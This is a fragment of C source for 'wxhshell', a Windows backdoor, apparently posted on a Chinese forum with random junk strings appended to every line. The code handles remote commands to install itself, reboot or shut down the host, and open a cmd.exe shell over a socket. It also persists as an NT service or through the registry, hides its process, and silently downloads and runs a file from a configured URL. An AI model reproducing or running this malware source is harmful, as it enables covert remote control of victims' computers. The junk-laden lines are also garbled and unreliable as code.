  // 帮助 )KNFS,5  
  case '?': { FUH1Z+9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0QPipuP  
    break; 3drgB;:g`  
  } ."lY>(HJ  
  // 安装 8'YL!moG|  
  case 'i': { WgIVhj  
    if(Install()) (]pQ.3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;9^B# aTM  
    else koUH>J:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]*@7o^4i  
    break; |h'ugx1iY  
    } U3Q'ZT  
  // 卸载 .`iq+i~  
  case 'r': { Uq&|iB#mF  
    if(Uninstall()) K)k!`du!6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QCjmg5bf'7  
    else vb%\q sf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t;*'p  
    break; VTF),e!  
    } [ -%oO  
  // 显示 wxhshell 所在路径 [Nq4<NK  
  case 'p': { aw,8'N)  
    char svExeFile[MAX_PATH]; ,Pl[SMt!  
    strcpy(svExeFile,"\n\r"); &K7g8x"x.  
      strcat(svExeFile,ExeFile); Ah"Rx A  
        send(wsh,svExeFile,strlen(svExeFile),0); K<t(HK#[  
    break; M_PL{  
    } :c6%;2  
  // 重启 /r)d4=1E  
  case 'b': { %~eZrG.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3~ qgvAr  
    if(Boot(REBOOT)) @ }[)uH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4b (iGLrt0  
    else { F'"-4YV>&  
    closesocket(wsh); ]\GGC]:\@  
    ExitThread(0); R% ddB D\?  
    } f5O*Njl  
    break; zRKg>GG`  
    } gU 8'7H2  
  // 关机 yn7n  
  case 'd': { ;eWVc;H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yeW|Ux:  
    if(Boot(SHUTDOWN)) *z(.D\{%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ld3,)ZY  
    else { c,+oH<bZZs  
    closesocket(wsh); Fa;CWyt  
    ExitThread(0); t!K|3>w  
    } }wiq?dr  
    break; 1e&`m~5K+  
    } T$+}Srb  
  // 获取shell BtjsN22  
  case 's': { &)wQ|{P~k  
    CmdShell(wsh); upX/fL c  
    closesocket(wsh); #$8tBo  
    ExitThread(0); Q.5a"(d@  
    break; al^ yCoB  
  } `]fY9ZDKs  
  // 退出 jdhhvoQ  
  case 'x': { Yc9 M6=E^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DB?[h<^m  
    CloseIt(wsh); uD+;5S]us  
    break; }+u<^7$g|  
    } ysSEgC3  
  // 离开 f}@]dFr  
  case 'q': { @ws3X\`<C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1W; +hXx  
    closesocket(wsh); ost~<4~  
    WSACleanup(); e#08,wgW  
    exit(1); VNPuOU=  
    break; thkL<  
        } hmks\eb~  
  } PI }A')Nq.  
  } Z EG  
]0\8g=KK  
  // 提示信息 (/Nw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W~gFY#w  
} f\Pd#$3  
  } Bm^vKzp  
cA_v*`YL  
  return; 2&P'rmFm  
} @1rF9< 4g  
|3vQmd !2}  
// shell模块句柄 }"_S;[{d  
int CmdShell(SOCKET sock) .O~)zM x  
{ $S6AqUk$  
STARTUPINFO si; 3dC8MKPq0  
ZeroMemory(&si,sizeof(si)); _4.fT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I2D<~xP~2+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Q]2Zq  
PROCESS_INFORMATION ProcessInfo; ZSHc@r*>  
char cmdline[]="cmd"; 8r+R~{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yl)}1DPP  
  return 0; MX  qH  
} ,p0R 4gi  
e>Is$+[`7  
// 自身启动模式 :Iw)xd1d}\  
int StartFromService(void) Wrt3p-N"D  
{ =XyK/$  
typedef struct o9>r -  
{ 0 E{$u  
  DWORD ExitStatus; ^- mz!{  
  DWORD PebBaseAddress; CShVJ:u+K\  
  DWORD AffinityMask; tOS%.0W5J  
  DWORD BasePriority; 91`biVZfA  
  ULONG UniqueProcessId; rAk*~OK  
  ULONG InheritedFromUniqueProcessId; #;>J<>  
}   PROCESS_BASIC_INFORMATION; J*qepq`_  
NSj}?hz  
PROCNTQSIP NtQueryInformationProcess; c.,eIiL  
61b,+'-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A'p"FYlCW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X 1^f0\k  
,~%Qu~\  
  HANDLE             hProcess; 8Q?)L4.]  
  PROCESS_BASIC_INFORMATION pbi; ^pAqe8u_  
j=M_>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d8/lEmv[  
  if(NULL == hInst ) return 0; E.t9F3  
_~fO8_vr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,r+=>vre  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DTsc&.29^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '9]%#^[Q  
D9+a"2|3<  
  if (!NtQueryInformationProcess) return 0; vUY?Eb[  
B$_F)2%m;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VNx}ADXu]  
  if(!hProcess) return 0; ,bKA]#(2  
,`B*rCOa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I?Hj,lN  
/<Zy-+3  
  CloseHandle(hProcess); 3@\vU~=P:  
v93+<@Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -;_NdL@  
if(hProcess==NULL) return 0; SG$/v  
\$<kJ|| lS  
HMODULE hMod; 0+m"eGwTm  
char procName[255]; = r_&R#~GT  
unsigned long cbNeeded; w1h07_u;v  
0[x?Q[~S_0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zj[Bm\ 8  
HRC5z<k%  
  CloseHandle(hProcess); 2< qq[2  
=3^YKI  
if(strstr(procName,"services")) return 1; // 以服务启动 !c\s)&U7B  
Hvnak{5  
  return 0; // 注册表启动 tt6ElP|D  
} \Llrs-0 M  
_Oh;._PS  
// 主模块 X CDHd ?Ld  
int StartWxhshell(LPSTR lpCmdLine) >OBuHqC  
{ AFc#2wn  
  SOCKET wsl; /1gKc}rB2  
BOOL val=TRUE; ~2S`y=*:  
  int port=0; I,l%6oPa  
  struct sockaddr_in door; <YUc?NF  
?k<wI)JR  
  if(wscfg.ws_autoins) Install(); lva]jh2  
 #Z"N\49  
port=atoi(lpCmdLine); 7?]gUrE  
e-]k{_wm  
if(port<=0) port=wscfg.ws_port; mO?G[?*\  
i/, G=yA  
  WSADATA data;  ?MPM@9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3|[:8  
|U8;25Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lmz{,O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KJ.ra\F  
  door.sin_family = AF_INET; a' .o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "k"q)5c  
  door.sin_port = htons(port); Z@RAdwjR`p  
t/u$Ts  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +O*S>0  
closesocket(wsl); 49 fs$wr@  
return 1; A&Ut:OiA  
} u)t1t69T\g  
23U9+  
  if(listen(wsl,2) == INVALID_SOCKET) { &+J5GHt@  
closesocket(wsl); 4_F<jx,G  
return 1; ) ok_"wB  
} 7 G~MqnO|  
  Wxhshell(wsl);  &j2L- )  
  WSACleanup(); P=KOw;bs  
_0oZgt)  
return 0; 5\S)8j `8  
k#5S'sCF<  
} ceH7Rq:4W  
:kOLiko!4>  
// 以NT服务方式启动 5u~Ik c~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DJr 8<u  
{ l!~8  
DWORD   status = 0; 3-h u'xSU  
  DWORD   specificError = 0xfffffff; Q'7o_[o/  
C3G?dZKv2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rfXM*h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dU:s^^f&R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B5=L</Aj  
  serviceStatus.dwWin32ExitCode     = 0; yXg783B|v  
  serviceStatus.dwServiceSpecificExitCode = 0; YV. *8'*  
  serviceStatus.dwCheckPoint       = 0; 3543[W#a  
  serviceStatus.dwWaitHint       = 0; U1 1rj,7  
f$*M;|c1c/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0aQNdi)b  
  if (hServiceStatusHandle==0) return; '/z.\S  
FT[wa-b  
status = GetLastError(); eq(|%]a=  
  if (status!=NO_ERROR) n!ea)+^  
{ G?<L{J2"Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qAivsYN*  
    serviceStatus.dwCheckPoint       = 0; !+U#^2Gz  
    serviceStatus.dwWaitHint       = 0; Y^2Ma878  
    serviceStatus.dwWin32ExitCode     = status; IR5 S-vO  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9oKRu6]D-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AJC Wp4,  
    return; PM[6U#  
  } _YmY y\g  
qW?^_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5c'rnMW4+p  
  serviceStatus.dwCheckPoint       = 0; azj<aaH  
  serviceStatus.dwWaitHint       = 0; $v-lG(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qW;nWfkYC  
} VF<{Qx*  
>Q[]i4*A  
// 处理NT服务事件,比如:启动、停止 z<: 9,wtbP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q'C'S#qqn  
{ YjvqU /[3  
switch(fdwControl) :bLGDEC  
{ 7QQ3IepP  
case SERVICE_CONTROL_STOP: {;f` t3D  
  serviceStatus.dwWin32ExitCode = 0; ndF Kw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0kmVP~K  
  serviceStatus.dwCheckPoint   = 0; TD!QqLW  
  serviceStatus.dwWaitHint     = 0; H# 2'\0u  
  { WVJN6YNd V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m[ifcDZ(e  
  } 8QFY:.h&  
  return; YHvmo@  
case SERVICE_CONTROL_PAUSE: 6l:CDPhR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J[VQ6fD%  
  break; Z|'tw^0e5  
case SERVICE_CONTROL_CONTINUE: i+21tG$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 90K&s#+13  
  break; @HIC i]  
case SERVICE_CONTROL_INTERROGATE: {P1W{|  
  break; J*a`qU   
}; VdVca1Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z4UeUVfZ}  
} +]5JXt^  
~|l>bf  
// 标准应用程序主函数 (Pvch!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]E[Mv} =  
{ 9FcCq*D  
xjR/K&[m  
// 获取操作系统版本 R4@C>\c %m  
OsIsNt=GetOsVer(); JGGss5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DC[ -<:B  
:t\PYDp1  
  // 从命令行安装 B0Xn9Tvk  
  if(strpbrk(lpCmdLine,"iI")) Install(); W?XvVPB  
?w3f;v  
  // 下载执行文件 uysGOyi<u  
if(wscfg.ws_downexe) { b4oZ@gVR;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mgH4)!Z*56  
  WinExec(wscfg.ws_filenam,SW_HIDE); U{i9h6b"18  
} OEq8gpqY  
/+02 BP  
if(!OsIsNt) { 7th&C,c&  
// 如果时win9x,隐藏进程并且设置为注册表启动 O3Ks|%1  
HideProc(); 15Yy&9D  
StartWxhshell(lpCmdLine); iwrdZLE  
} V , )kw{](  
else }tc,3> /  
  if(StartFromService()) [S3X  
  // 以服务方式启动 ~w4aA<2Uq  
  StartServiceCtrlDispatcher(DispatchTable); (_U&EX%  
else N:"E%:wSbi  
  // 普通方式启动 1)%9h>F7  
  StartWxhshell(lpCmdLine); E hd*  
}{]{`\  
return 0; HYW+,ts'  
}
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只看该作者 1 发表于: 2006-10-10
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